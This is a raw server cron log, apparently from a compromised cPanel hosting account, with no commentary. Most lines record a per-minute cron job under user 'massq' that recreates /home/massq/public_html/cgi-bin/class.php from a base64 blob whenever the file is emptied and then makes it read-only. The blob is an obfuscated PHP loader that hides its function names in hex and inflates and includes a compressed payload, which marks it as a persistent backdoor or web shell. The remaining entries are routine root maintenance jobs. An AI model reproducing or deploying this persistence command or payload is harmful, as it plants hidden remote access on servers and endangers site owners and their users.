Nov 15 18:30:01 server CROND[2557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:30:01 server CROND[2559]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:30:01 server CROND[2558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:31:01 server CROND[2881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:32:01 server CROND[3132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:33:01 server CROND[3382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:34:01 server CROND[3641]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:35:01 server CROND[3915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:35:01 server CROND[3917]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 18:35:01 server CROND[3921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:35:01 server CROND[3923]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 18:35:01 server CROND[3927]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:36:01 server CROND[4239]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:37:01 server CROND[4601]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:38:01 server CROND[4864]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:39:01 server CROND[5135]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:39:01 server CROND[5136]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 18:40:01 server CROND[5418]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 18:40:01 server CROND[5421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:40:01 server CROND[5419]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:40:01 server CROND[5420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:41:01 server CROND[5730]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:42:01 server CROND[6087]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 18:42:01 server CROND[6088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
